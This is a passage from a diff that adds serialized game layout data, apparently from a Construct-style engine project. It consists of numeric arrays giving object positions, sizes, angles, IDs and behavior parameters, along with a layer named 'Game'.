+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4188,
+ 562,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4684,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4864,
+ 835,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4685,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5067,
+ 1107,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4686,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 78,
+ 570,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4687,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 369,
+ 564,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4773,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 954,
+ 758,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4857,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1062,
+ 756,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4858,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1438,
+ 376,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5676,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1725,
+ 662,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5694,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1974,
+ 660,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5695,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1129,
+ 265,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5696,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2468,
+ 665,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5697,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2927,
+ 663,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5698,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2741,
+ 661,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5699,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3384,
+ 380,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5700,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3260.363037109375,
+ 377.2483520507813,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5701,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3423,
+ 382,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5702,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3927,
+ 571,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5703,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3741,
+ 569,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5704,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4252,
+ 567,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5705,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4035,
+ 569,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5706,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4993,
+ 834,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5707,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4776,
+ 836,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5708,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Game",
+ 5,
+ 662168390555228,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 1123.083251953125,
+ 346.7409057617188,
+ 0,
+ 92,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 546,
+ 6613,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2192.050537109375,
+ 667.2974853515625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5726,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2228.6103515625,
+ 667.7540893554688,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5727,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2265.343994140625,
+ 667.7540893554688,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5728,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4421.80517578125,
+ 614.1157836914062,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1745329201221466,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 536,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4536.67578125,
+ 702.2884521484375,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1745329201221466,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 539,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4651.70458984375,
+ 790.5386962890625,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1745329201221466,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 540,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4766.5751953125,
+ 878.7113647460938,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1745329201221466,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 541,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3519,
+ 430,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.3026486039161682,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 477,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3623,
+ 533,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.3026486039161682,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 478,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1299.78466796875,
+ 718.9098510742188,
+ 0,
+ 150,
+ 150,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5133333206176758,
+ 0,
+ 0,
+ []
+ ],
+ 540,
+ 402,
+ [],
+ [
+ [
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5083,
+ 762,
+ 0,
+ 71,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.9718309640884399,
+ 0.5185185074806213,
+ 0,
+ 0,
+ []
+ ],
+ 351,
+ 317,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 3,
+ 0
+ ],
+ [
+ 0,
+ 0,
+ 27,
+ "5083,800",
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5085,
+ 778,
+ 0,
+ 26,
+ 123,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5040650367736816,
+ 0,
+ 0,
+ []
+ ],
+ 350,
+ 318,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1769,
+ 1118,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 325,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -492,
+ 1003,
+ 0,
+ 270,
+ 204,
+ 0,
+ 0,
+ 1,
+ 0.4666666686534882,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 333,
+ 336,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -849,
+ 1068,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 341,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1179,
+ 949,
+ 0,
+ 514,
+ 386,
+ 0,
+ 0.4363323152065277,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 321,
+ 342,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1370,
+ 4830,
+ 0,
+ 31,
+ 31,
+ 0,
+ 0,
+ 1,
+ 0.5161290168762207,
+ 0.5161290168762207,
+ 0,
+ 0,
+ []
+ ],
+ 199,
+ 345,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -1068,
+ 3578,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 202,
+ 346,
+ [],
+ [],
+ [
+ 20,
+ 360,
+ 1,
+ 200,
+ 32,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1037,
+ 3220,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 207,
+ 347,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 15,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1382,
+ 615,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 313,
+ 350,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -138,
+ -345,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 318,
+ 354,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -365,
+ 1005,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 319,
+ 355,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1194,
+ 617,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 373,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -896,
+ 256,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 322,
+ 410,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 172,
+ 557,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 328,
+ 482,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 170,
+ 557,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 329,
+ 483,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 172,
+ 532,
+ 0,
+ 61,
+ 62,
+ 0,
+ 0,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 324,
+ 484,
+ [],
+ [
+ [
+ 0
+ ],
+ [
+ 400,
+ 800,
+ 50,
+ 400,
+ 600,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ],
+ [
+ 0,
+ 6,
+ 0,
+ 0.2,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 170.8196258544922,
+ 531.940185546875,
+ 0,
+ 64.29672241210938,
+ 49.82590866088867,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 344,
+ 488,
+ [],
+ [
+ [],
+ [
+ 0,
+ 2,
+ 1,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5086,
+ 786,
+ 0,
+ 13,
+ 1512,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 352,
+ 491,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -445,
+ 240,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 354,
+ 492,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 20,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -413,
+ 630,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 315,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1508,
+ 1880,
+ 0,
+ 890,
+ 39,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 290,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1734,
+ 2129,
+ 0,
+ 161.224365234375,
+ 30,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.4934210479259491,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 366,
+ 548,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1800,
+ 2041,
+ 0,
+ 160.202392578125,
+ 30,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5333333611488342,
+ 0,
+ 0,
+ []
+ ],
+ 367,
+ 551,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1864,
+ 2130,
+ 0,
+ 161.7362365722656,
+ 30,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5333333611488342,
+ 0,
+ 0,
+ []
+ ],
+ 368,
+ 547,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1734,
+ 2129,
+ 0,
+ 12.728271484375,
+ 152.4375915527344,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 369,
+ 549,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1800,
+ 2040,
+ 0,
+ 148.412841796875,
+ 12.87200927734375,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 370,
+ 550,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1865,
+ 2130,
+ 0,
+ 13.25102996826172,
+ 153.9715118408203,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 371,
+ 552,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -194,
+ 81,
+ 0,
+ 416,
+ 33,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.01339285727590323,
+ 0.2121212184429169,
+ 0,
+ 0,
+ []
+ ],
+ 372,
+ 553,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 0.5,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -202,
+ 285,
+ 0,
+ 395,
+ 9,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 373,
+ 554,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 377,
+ 1878,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 556,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 408,
+ 1878,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 557,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 439,
+ 1878,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 558,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 471,
+ 1878,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 559,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3988,
+ 538,
+ 0,
+ 57.18288803100586,
+ 57.18288803100586,
+ 0,
+ 0,
+ 1,
+ 0.5070422291755676,
+ 0.5070422291755676,
+ 0,
+ 0,
+ []
+ ],
+ 375,
+ 329,
+ [
+ [
+ 0
+ ]
+ ],
+ [
+ [
+ 330,
+ 1500,
+ 1500,
+ 400,
+ 2000,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3654,
+ 521,
+ 0,
+ 24.95556640625,
+ 140.5006713867188,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 376,
+ 330,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4359,
+ 511,
+ 0,
+ 25.62890625,
+ 135.7992553710938,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 377,
+ 332,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3988,
+ 526,
+ 0,
+ 49.11710357666016,
+ 32.80466461181641,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 378,
+ 331,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3967,
+ 541,
+ 0,
+ 9.54636001586914,
+ 42.17941665649414,
+ 0,
+ 0,
+ 1,
+ 0.5,
